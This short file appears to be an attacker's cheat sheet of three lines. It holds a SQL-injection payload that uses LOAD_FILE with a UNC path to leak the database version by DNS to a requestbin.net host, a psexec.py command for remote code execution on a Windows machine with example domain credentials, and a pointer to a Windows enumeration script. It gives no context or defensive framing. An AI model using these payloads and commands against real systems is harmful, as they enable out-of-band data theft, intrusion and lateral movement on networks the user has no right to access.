UNION SELECT LOAD_FILE(concat('\\\\', SELECT version(), '.35bb69cb2c1eeda31ab8.d.requestbin.net'));
psexec.py 'DOMAIN\user:passw0rd1!'@10.10.10.10
Script https://github.com/absolomb/WindowsEnum